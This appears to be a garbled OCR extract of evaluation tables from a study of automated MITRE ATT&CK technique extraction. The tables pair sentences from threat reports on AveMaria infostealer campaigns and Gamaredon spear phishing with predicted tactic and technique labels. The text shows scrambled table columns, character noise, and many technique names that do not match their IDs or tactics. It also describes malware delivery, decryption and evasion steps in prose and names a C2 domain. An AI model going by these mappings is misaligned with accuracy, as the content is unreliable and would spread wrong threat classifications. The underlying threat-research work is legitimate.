'T1566', 'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerade as
Legitimate
Application(T1036)'}]

[0, 1]

Upon executing the attached .vhdx file, researchers observed the
creation of a new system drive (see Tag 1 in Fig. 3 below) containing a
malicious .Ink file, a decoy file, and other system related files (see Tag
2 in Fig. 3 below).

[{'taid': 'TA0000Q', 'tactic':
'Persistence’, 'tid":
'T1574.001", 'technique':
'Hidden
Window(T1574.001)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid":
'T1564.001', 'technique':
'Hide Artifacts: Hidden
Files and
Directories(T1564.001)'}]

Triggering the malicious shortcut file downloads another payload via
curl command (see Tag 3 & 4 in Fig. 3 below) and drops the malicious
file in the impacted system’s temp directory.

[{'taid": 'TAO000Q', 'tactic':
'Execution’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1105', 'technique:
'Remote File
Copy(T1105)'}]

(1]

Finally, execution of the final payload infects the victim’s machine with
the AveMaria malware and enables attackers to gain access and take
control.

[{'taid': 'TAO00Q', 'tactic':
'Persistence’, 'tid":
'T1547.001", 'technique':
'Boot or Logon Autostart
Execution: Registry Run
Keys / Startup
Folder(T1547.001)'},
{'taid': 'TA0003', 'tactic":
'Privilege Escalation’,
'tid": 'T1562.001",
'technique': 'Service
Execution(T1562.001)'},
{'taid": 'TA0002', 'tactic":
'Command and Control',
'tid": 'T1573.002',
'technique': 'Encrypted
Channel: Asymmetric
Cryptography(T1573.002
3]

Under the same campaign, researchers observed another variation of
the attack chain with a custom downloader and other system related
files, as shown in Fig. 5 below.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},

(1]




{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1105', 'technique:

'Remote File
Copy(T1105)'}]
Unfortunately the phishing email for this case study is unavailable, so | [{'taid": 'TA0000Q', 'tactic': | 1 0
researchers can not identify the target of these attacks or deduce 'Collection’, 'tid":
exactly how the initial payload (.vhd file) was delivered. 'T1596', 'technique':
'Data Scanning: Scan for
Credentials(T1596)'}]
Fig. 5 - Malicious payload file properties of custom downloader [{'taid": 'TAO00OQ', 'tactic': | 3 [0, 1]
Stage 1: Custom downloader 'Execution’, 'tid":
'T1204', 'technique":
The custom downloader used in this AveMaria attack chain retrieves 'User Execution(T1204)'},
an encrypted file from a third party file sharing website and after {'taid": 'TA0000', 'tactic":
downloading and decrypting in memory, it executes the decrypted ‘Defense Evasion’, 'tid":
version of the retrieved payload, which is in PE format. ‘T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1567', 'technique':
'Exfiltration Over
Alternative
Protocol(T1567)'}]
Fig. 6 - Shows the decryption logic to get the second stage payload in | [{'taid": 'TA000OQ', 'tactic': | 1 0
PE format. 'Execution’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
To build the downloaded file in PE format, the custom downloader [{'taid": 'TAO00OQ', 'tactic': | 1 [0]
makes use of type casting or type-conversion mechanism whereby 'Defense Evasion’, 'tid":
different data types are used to manipulate the values at bit level. ‘T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
In C# programming, the byte data type is represented by an 8-bit [{'taid": 'TAO00OQ', 'tactic': | 1 0
unsigned integer, i.e. it only takes positive values and will ignore the 'Defense Evasion', 'tid":
signed bit associated with the value. 'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
In the current decryption scenario, the custom downloader gets the [{'taid": 'TAO00OQ', 'tactic': | 1 0
handle and an offset of an array and via “for loop” gets a byte value at | 'Defense Evasion’, 'tid":
particular offset, thereafter convert it to an integer data type and ‘T1027', 'technique':
subsequently subtract it with the hardcoded value (which in our case | 'Obfuscated Files or
is “585” and can be different in other cases) resulting in negative information(T1027)'}]
integer value.
the negative integer value gets converted to a byte data type. And the | [{'taid": 'TAO00O', 'tactic": | 1 0
hex value of the byte data type will get substituted at the particular 'Defense Evasion’, 'tid":
offset of an array. 'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
It is worth noting that the integer type holds 32-bits of data compared | [{'taid": 'TAO00OQ', 'tactic': | 1 0
to a byte which holds only 8-bits of data. Converting any integer data 'Defense Evasion', 'tid":
type to a byte data type results in the computer only reading the last ‘T1027', 'technique':
8-bit value. 'Obfuscated Files or
information(T1027)'}]
For example, converting a hex value 0xB8 from the encrypted array [{'taid": 'TAO00OQ', 'tactic': | 1 [0]

holding “This program” string to an integer data type results in “184”,
and subtracting it with “585”, the final value is “-401”, which is
represented in binary as:

“11111111111111111111111111111111111111111111111111111110011
01111”

'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]




Going the other way and converting the integer data type to byte data
type, the system will read only the last 8-bit value, which in binary is
“01101111”.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

-

So the hexadecimal value of the mentioned binary value will be “0x6F”,
as shown below, and the converted ASCII value of “0x6f” is “0”, which
is a part of the “This program” string.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

-

Dumping the decrypted file from memory, achieved in Stage 1, results
in a .Net DLL binary without exports. The DLL binary consists of
encrypted bytes under the resource section named “a”, passed as an
argument to the decryption function to reveal the final AveMaria
payload, as shown below.

[{'taid': 'TA0000Q', 'tactic':
'Exfiltration’, 'tid":
'T1560', 'technique':
'Archive Collected
Data(T1560)'}, {'taid":
'"TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

(1]

This is the final stage of decryption, after which the AveMaria payload
is executed and kicks-off C2 communications validating the
successful execution of the malware on the victim’s machine.

[{'taid": 'TAO00OQ', 'tactic':
'Command and Control',
'tid": 'T1024',
'technique': 'Custom
Command and Control
Protocol(T1024)'}, {'taid":
'"TA0000', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'}]

It uses the same phishing email technique to distribute the main
malicious binary.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'"T1192', 'technique':
'Spearphishing
Attachment(T1192)'}]

[0, 1]

This campaign leverages a highly obfuscated Autoit script and Autoit
interpreter to decrypt the AveMaria binary in memory and then
execute the payload.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'}]

[0, 1]

The Autoit script is bundled into a self-executing compressed file or
executable package known as the parent payload, which consists of
all the required components to facilitate the execution of the main
malware.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T12083', 'technique':
'Exploitation for Client
Execution(T1203)'}]

U]




The related phishing email analyzed during this case study (shown
below) invites the recipient to submit a competitive quotation offer for
an unidentified tender.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'"T1192', 'technique':
'Spearphishing
Attachment(T1192)'}]

[0, 1]

Requesting a quote is a common practice businesses use to procure
fair goods and services.

[{'taid': 'TA0000Q', 'tactic':
'Initial Access', 'tid":
'T1199', 'technique":
'Supply Chain
Compromise(T1199)'}]

However in this case, the attached zip file sent with the email
invitation is malicious and designed to result in an AveMaria
infostealer attack.

[{'taid": 'TAO00OQ', 'tactic':
'Exfiltration’, 'tid":
'T1052', 'technique':
'Exfiltration Over
Command and Control
Channel(T1052)'}]

After extracting the payload from the attached zip file the bundled
parent payload is revealed.

[{'taid': 'TAO00Q', 'tactic':
'Discovery’, 'tid":
'"T1497', 'technique':
'Virtualization/Sandbox
Evasion(T1497)'}]

Tag2: Drops malicious and decoy files on execution.

[{'taid': 'TAO00Q', 'tactic':
'Impact’, 'tid": 'T1485',
'technique': 'Data
Destruction(T1485)'},
{'taid': 'TA0000', 'tactic':
'Impact’, 'tid": 'T1499',
'technique': 'Local Data
Staging(T1499)'}]

Tag3: Parent file calls wscript.exe with an argument of dropped
malicious vbscript file. The vbscript file then calls out the malicious
Autoit script with the interpreter. The execution of Autoit script then
leads to process injection of malware into a legitimate file.

[{'taid': 'TA0000Q', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1105', 'technique:
'Ingress Tool
Transfer(T1105)'}, {'taid":
'"TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1055', 'technique:
'Process
Injection(T1055)'}]

[0, 3]

Tag4: Payload loaded in RegSvcs.exe memory.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1055', 'technique:
'Process
Injection(T1055)'}]

(1]

September | Phishing Campaign Targeting Serbian Citizens and
Vbs_campaign Purchase Order Scam

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid": 'T1566',

-

U]




'technique':
'Phishing(T1566)'}]

In September, researchers discovered two different AveMaria malware
delivery phishing campaigns, first an e-identification portal login
credential scam that targets Serbian citizens and second a purchase
order scam requesting an invoice payment.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'T1204', 'technique":
'User Execution(T1204)'},
{'taid': 'TA0000', 'tactic':
'Impact’, 'tid": 'T1496",
'technique': 'Resource
Hijacking(T1496)'}]

[0, 1]

In this campaign, Serbian citizens were targeted with a phishing email
impersonating the government of Serbia and prompting them to
update and store new login credentials for access to the government
e-identification portal.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'T1204', 'technique':
'User Execution(T1204)'}]

[0, 1]

The attached zip file (see Fig. 13) contains the malicious AveMaria
payload, which when executed creates a copy of itself at
the %userprofile%\document location.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'}]

[0, 1]

To further evade detection by Windows defender at runtime, the
malware author(s) added the functionality to exclude the whole drive
prior to the initialization of the copied file for further infection, via
powershell command as shown below.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1053', 'technique':
'Scheduled
Task/Job(T1053)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1112', 'technique":
'Modify
Registry(T1112)'}]

Once the malicious packed binary, named Adobe5151.exe, is
executed, it decrypts the end payload, steals user sensitive
information, and establishes C2 communication for performing
exfiltration of the stolen data.

[{'taid": 'TAO000Q', 'tactic':
'Exfiltration’, 'tid":
'T1041", 'technique":
'Exfiltration Over
Alternative
Protocol(T1041)'}, {'taid":
'TA0000', 'tactic":
'Command and Control',
'tid": 'T1573',
'technique': 'Encrypted
Channel(T1573)'}, {'taid":
'TA0000', 'tactic":
'Exfiltration’, 'tid":
'T1002', 'technique':
'Data
Compressed(T1002)'}]

In the same month, researchers discovered another phishing
campaign imitating a generic purchase order payment request with a
malicious payload disguised as a fake invoice attached to the email. A

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid": 'T1566',
'technique':

0, 2]




key differentiator in this particular attack chain is the various stages of
obfuscation and execution.

'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

Extracting the vbscript from the attached zip file what looks like a pdf
filetype but appears with a script file icon, which serves as an
indicator that the file is in fact a script disguised as a pdf.

[{'taid': 'TAO00Q', 'tactic':
'Deception’, 'tid":
'T1027', 'technique":
'Obfuscated Files or
information(T1027)'}]

-

The vbscript (see Star 1 in the screenshot below) which is in an
obfuscated format, on execution, calls out powershell.exe with
commands consisting of two downloading urls (see Star 2 in the
screenshot below).

[{'taid": 'TAO00OQ', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Command and Control',
'tid": 'T1071",
'technique': 'Application
Layer Protocol(T1071)'}]

U]

The interesting fact is that the vbscript provided only two downloading
urls (as an input), but as can be seen above (see Star 3 in Fig. 19),
three files were downloaded, and all of them are obfuscated in some
or the other manner.

[{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Deception’, 'tid":
'T1001', 'technique':
'Data
Obfuscation(T1001)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1105', 'technique:
'Ingress Tool
Transfer(T1105)'}]

[0, 1]

The downloaded files were all base64 encoded, which after decoding
turns out to be an injector .Net binary dll (base64 encoded) a
supporting dil (base64 encoded filled with replaceable value) AveMaria
payload in reversed base64 encoded format.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'}]

U]

Decoding the dli2.txt file reveals a dotnet DLL binary that acts as a
downloader and injector to execute the end payload.

[{'taid': 'TA0000Q', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1055', 'technique:
'Process
Injection(T1055)'}]

2]

Instead of directly downloading and executing the malware onto the
system, threat actors use a custom binary to download supporting

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":

U]




DLL and restore the same. Subsequently, it downloads the reversed
base64 encoded AveMaria payload and puts it back to base64 format.

'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid":
'T1218', 'technique":
'Signed Binary Proxy
Execution(T1218)'}]

Once all the required files are in place, the same will be used to [{'taid": 'TAO000Q', 'tactic': [0]
perform process injection as shown below. 'Defense Evasion', 'tid":
'T1055', 'technique':
'Process
Injection(T1055)'}]
The file named jfgfhhjhgjkj.txt is the actual AveMaria payload, [{'taid": 'TAO00OQ', 'tactic': 0
downloaded in the reversed base64 encoded format. After 'Exfiltration’, 'tid":
restructuring and decoding, the main payload is revealed. The 'T1002', 'technique':
screenshot below shows the file properties and strings present inside | 'Data
the malicious payload. Compressed(T1002)'}]
In August, researchers observed a new phishing campaign targeting [{'taid": 'TAO00OQ', 'tactic': [0, 1]
Ukrainian officials impersonating a representative from the Ukrainian | 'Social Engineering’,
Department of Economic Policy and Strategic Planning. The featured | 'tid": 'T1566',
phishing emails included an ISO file attachment containing the 'technique':
malicious AveMaria payload along with three decoy documents and ‘Phishing(T1566)'},
four shortcut files. {'taid": 'TA0000', 'tactic":
'Initial Access', 'tid":
'T1193', 'technique":
'Spearphishing
Attachment(T1193)'}]
All the shortcut files examined from the attached ISO file in this [{'taid": 'TAO00OQ', 'tactic': [0]
campaign contain the same powershell command that searches for a | 'Execution’, 'tid":
hardcoded filename in each drive. 'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'}]
The file named gov12.exe is the actual Avemaria executable which on | [{'taid': 'TA000O', 'tactic": [0, 1]
execution creates a copy of itself with the hardcoded filename 'Execution’, 'tid":
images.exe at %userprofile%\documents folder location, adds run key | 'T1053', 'technique':
in the registry to achieve persistence and then initiates the copy for ‘Scheduled
further infection. Task/Job(T1053)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1060', 'technique':
'Registry Run
Keys/Startup
Folder(T1060)'}, {'taid":
'"TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
In the seventh case study attack chain, researchers observed that the | [{'taid: 'TA0000', 'tactic': [0, 1]

“System Binary Proxy Execution” detection evasion technique is used
for executing the end payload. A malicious HTA file consisting of a
vbscript code under <script> tag, is used to download the end
payload. The phishing email file associated with this attack chain was
unavailable, but we anticipate that the .iso file is being distributed as
an attachment only.

'Defense Evasion', 'tid'":
'T1218', 'technique":
'Signed Binary Proxy
Execution(T1218)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'T11983', 'technique":




'Spearphishing
Attachment(T1193)'}]

The shortcut files extracted from the attached ISO file consist of a
powershell command and some obfuscated code decrypted at
runtime by the powershell binary. Executing shortcut files downloads
malicious .hta extension file and thereafter executes the latter via
mshta.exe.

[{'taid': 'TA0000Q', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1105', 'technique':
'Remote File
Copy(T1105)'}]

[0,1,2]

The .hta file consists of a vbscript under <script> tag generates an
obfuscated third stage powershell code when executed and then the
latter is passed as an argument to legitimate powershell binary for
further execution.

[{'taid': 'TA0000Q', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

[0, 1]

After researchers decoded and beautified the obfuscated script a
legible powershell script was revealed containing the following key
functions: 1.) Main function: contains the logic to check for file

at %appdata% folder (see blue bracket on the right in the screenshot
below) if true, then execute the same via “Invoke-item” command. If
false, then logic to download and execute the same. 2.) Decoding
function: contains the logic to decode encoded data (see red box in
the screenshot below) 3.) Downloading function: contains code related
to initiating web connection object which downloads the files (see
green box in the screenshot below)

[{'taid': 'TA0000Q', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1048', 'technique:
'Exfiltration Over
Command and Control
Channel(T1048)'}]

[0, 1]

The powershell script shown above downloads and executes the
AveMaria stealer malware onto the target system in the last stage of
the attack.

[{'taid": 'TAO00OQ', 'tactic':
'Execution’, 'tid":
'T1106', 'technique':
'Execution through
API(T1106)'}, {'taid":
'TA0000', 'tactic":
'Execution’, 'tid":
'T1064', 'technique':
'Scripting(T1064)'}]

(1]

Note: In this attack, a website was compromised to host malicious
payloads.

[{'taid': 'TA0000Q', 'tactic':
'Initial Access', 'tid":
'T1190', 'technique:
'Exploit Web
Service(T1190)'}, {'taid":
'TA000Q', 'tactic': 'Initial
Access', 'tid": 'T1191',
'technique': 'Supply
Chain
Compromise(T1191)'}]

From the case studies detailed in this analysis, it is evident that the
developers of the AveMaria infostealer are actively maintaining the
malware and updating the phases and stages of execution with new

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid":
'"T1497', 'technique':
'Virtualization/Sandbox
Evasion(T1497)'}, {'taid":




techniques to ensure the stealer remains relevant by evading 'TA0000', 'tactic":
detection. 'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1529', 'technique":
'System
Services(T1529)'}, {'taid":
'"TA0000', 'tactic':
'Privilege Escalation’,
'tid": 'T1088',
'technique': '‘Bypass
User Account
Control(T1088)'}, {'taid":
'"TA0000', 'tactic':
'Evasion’, 'tid": 'T1496',
'technique': 'Obfuscated
Files or
Information(T1496)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1041", 'technique':
'Exfiltration Over
Alternative
Protocol(T1041)'}, {'taid":
'"TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1048', 'technique':
'Exfiltration Over
Command and Control

Channel(T1048)'}]
While examining the various TTPs over a span of six months, [{'taid": 'TAO00OQ', 'tactic': | 5 0
ThreatLabz researchers observed a multitude of changes to the 'Defense Evasion', 'tid":
AveMaria malware distribution mechanisms typically updated monthly, | 'T1497', 'technique':
so that even if one mechanism is flagged by security operators the 'Virtualization/Sandbox
others can still be applied effectively. Evasion(T1497)'}, {'taid":

'TA0000', 'tactic":
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Command and Control',
'tid": 'T1570',
'technique': 'Use of
Encrypted
Channels(T1570)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1041", 'technique":
'Exfiltration Over
Alternative
Protocol(T1041)'}, {'taid":
'TA0000', 'tactic":
'Exfiltration’, 'tid":
'T1048', 'technique:
'Exfiltration Over
Command and Control
Channel(T1048)'}]

Test Report 5 Exposed Web Panel Reveals Gamaredon Group's Automated Spear Phishing
Campaigns



URL.: https://blog.eclecticiq.com/exposed-web-panel-reveals-gamaredon-groups-automated-

spear-phishing-campaigns

TTPExtractor Infer Result

patches and updates to fix
vulnerabilities such as CVE-2017-
0199.

'T1203', technique': 'EF iHHITHIAY

2017-0199']]

sent ttps entities ttps_pred_count | ttps_accept_idx
The group uses spear phishing emails | [{'taid": 'TA0001", 'tactic': 'initial-access', | [['actor’, 1 [0]
and social engineering lures as a 'tid": 'T1566.001', 'technique': 'Gamaredon
primary tactic. 'SpearphishingAttachment'}] APT']]
The exposed SMTP server hosts a [{'taid": 'TAO001", 'tactic': 'initial-access', | ] 1 [0]
web panel for crafting and delivering | 'tid": 'T1566.001', 'technique':
spear phishing emails. 'SpearphishingAttachment'}]
gamaredon-spearphishing-2Figure 3 - | [{'taid": 'TA0001", 'tactic': 'initial-access', | [] 1 [0]
Spear phishing email sent it on 'tid": 'T1566.001', 'technique':
Wednesday, 8 February 2023. 'SpearphishingAttachment'}]
The server had port 80 open for use [{'taid": 'TAO001", 'tactic': 'initial-access', | ] 1 [0]
by the threat actor for crafting spear | 'tid': 'T1566.001', 'technique':
phishing emails via a simple user 'SpearphishingAttachment'}]
interface seen in figure 5.
The attachments exploit CVE-2017- [{'taid": 'TA0002', 'tactic': 'execution’, [['vul', 'CVE- 1 [0]
0199, a Microsoft Office remote code | 'tid": 'T12083', 'technique": 2017-0199"]
execution vulnerability in Windows. ‘ExploitationforClientExecution'}]
Figure 8 shows that spear phishing [{'taid": 'TA0O001", 'tactic': 'initial-access', | ] 1 [0]
email was sent to the Security Service | 'tid': 'T1566.001', 'technique':
of Ukraine (SSU) on November 19, 'SpearphishingAttachment'}]
2020.
It contained a malicious Word [{'taid": 'TAO001", 'tactic': 'initial-access', | ] 1 [0]
document attachment used for 'tid": 'T1566.001', 'technique':
malware delivery. 'SpearphishingAttachment'}]
Once a victim opens the delivered [{'taid": 'TA0002', 'tactic': "H#14T", 'tid": [['vul', '"CVE- |2 [0, 1]
malicious Word document, it will . g 2017-0199"]
exploit CVE-2017-0199. 'T1203', 'technique’: '"EFIFHITAIA',

{'taid": 'TA0001", 'tactic': 'initial-access',

'tid": 'T1566.001', 'technique':

'SpearphishingAttachment'}]
If the exploitation is successful, then | [{'taid": 'TA0011', 'tactic': 'command- [['actor', 1 [0]
it will download a second-stage and-control', 'tid": 'T1105', 'technique': | 'Gamaredon']]
malware from the 'IngressToolTransfer'}]
domain erythrocephala.online, which
has been attributed to Gamaredon.
Install updates: Microsoft released [{'taid": 'TA0002', 'tactic': "H14T", 'tid": [['vul', 'CVE- |1 []

Expert Review Result

Spear phishing email sent it on
Wednesday, 8 February 2023.

'tid": 'T1566.001', 'technique':
'SpearphishingAttachment'}]

sent ttps entities ttps_pred_count | ttps_accept_idx
The group uses spear phishing emails | [{'taid": 'TA0001', 'tactic': 'initial-access', | [['actor’, 1 [0]

and social engineering lures as a 'tid": 'T1566.001', 'technique': '‘Gamaredon

primary tactic. 'SpearphishingAttachment'}] APT']]

The exposed SMTP server hosts a [{'taid": 'TAO001", 'tactic': 'initial-access', | ] 1 0

web panel for crafting and delivering | 'tid": 'T1566.001', 'technique':

spear phishing emails. 'SpearphishingAttachment'}]

gamaredon-spearphishing-2Figure 3 - | [{'taid": 'TA0001", 'tactic': 'initial-access', | [] 1 [0]




The server had port 80 open for use [{'taid": 'TAO001", 'tactic': 'initial-access', | ] 1 0
by the threat actor for crafting spear | 'tid": 'T1566.001', 'technique':
phishing emails via a simple user 'SpearphishingAttachment'}]
interface seen in figure 5.
The attachments exploit CVE-2017- [{'taid": 'TA0002', 'tactic': 'execution’, [['vul', 'CVE- 1 [0]
0199, a Microsoft Office remote code | 'tid": 'T1203', 'technique': 2017-0199']
execution vulnerability in Windows. ‘ExploitationforClientExecution'}]
Figure 8 shows that spear phishing [{'taid": 'TAO001", 'tactic': 'initial-access', | ] 1 [0]
email was sent to the Security Service | 'tid": 'T1566.001", 'technique':
of Ukraine (SSU) on November 19, 'SpearphishingAttachment'}]
2020.
It contained a malicious Word [{'taid": 'TA0001", 'tactic': 'initial-access', | [] 1 [0]
document attachment used for 'tid": 'T1566.001', 'technique':
malware delivery. 'SpearphishingAttachment'}]
Once a victim opens the delivered [{'taid": 'TA0002', 'tactic': "H14T", 'tid": [['vul','"CVE- |2 [0, 1]
malicious Word document, it will . g . 2017-0199"]
exploit CVE-2017-0199. 'T12083', 'technique': 'EFiHHITHIA',
{'taid': 'TA0001', 'tactic': 'initial-access',
'tid": 'T1566.001', 'technique':
'SpearphishingAttachment'}]
If the exploitation is successful, then | [{'taid": 'TA0011', 'tactic': 'command- [['actor', 1 [0]
it will download a second-stage and-control', 'tid": 'T1105', 'technique': | 'Gamaredon']]
malware from the 'IngressToolTransfer'}]
domain erythrocephala.online, which
has been attributed to Gamaredon.
Install updates: Microsoft released [{'taid": 'TA0002', 'tactic': "H#14T", 'tid": [['vul', '"CVE- |1 1
patches and updates to fix e g 2017-0199"]
vulnerabilities such as CVE-2017- 'T1203', 'technique: 'BFIHHMITHIAY
0199.

ChatGPT Infer Result

text

tts

ttps_pred_count

ttps_accept_idx

Security Service of Ukraine (SSU).

On February 09, 2023, EclecticlQ analysts
identified a spear phishing campaign targeting
Ukrainian government entities like the Foreign
Intelligence Service of Ukraine (SZRU) and

[{'taid': 'TAO001', 'tactic': 'Initial Access',
'tid": 'T1566.001", 'technique': 'Phishing
Spearphishing Attachment'}]

1

U]

infrastructure found in the SMTP server
configuration overlap with previously identified
Gamaredon activity.

'Virtualization/Sandbox Evasion'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid":
'T1036', 'technique': 'Masquerading'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1055', 'technique': 'Process Injection'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":

'T1074', 'technique': 'Data Staged'}, {'taid":

'TA0002', 'tactic': 'Execution’, 'tid":
'T1105', 'technique': 'Remote File Copy'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":

Analysts identified a publicly exposed Simple Mail | [{'taid': 'TA0001’, 'tactic': 'Initial Access', 1 [0]
Transfer Protocol (SMTP) server and assess with | 'tid": 'T1590', 'technique': 'Use Alternate
high confidence that the threat actor used the Protocol: Application Layer Protocol
SMTP server to craft and deliver phishing emails. | SMTP'}]
The SMTP server contained a web panel designed | [{'taid': 'TA0001’, 'tactic': 'Initial Access', 1 [0]
to create and distribute spear phishing emails. 'tid": 'T1566.002', 'technique': 'Phishing
Spearphishing Link'}]
It enables the email to have a malicious [{'taid": 'TAO008', 'tactic': 'Defense 1 [0]
attachment and leverages email spoofing Evasion', 'tid": 'T1566', 'technique':
techniques to make it appear from a legitimate 'Phishing'}]
source.
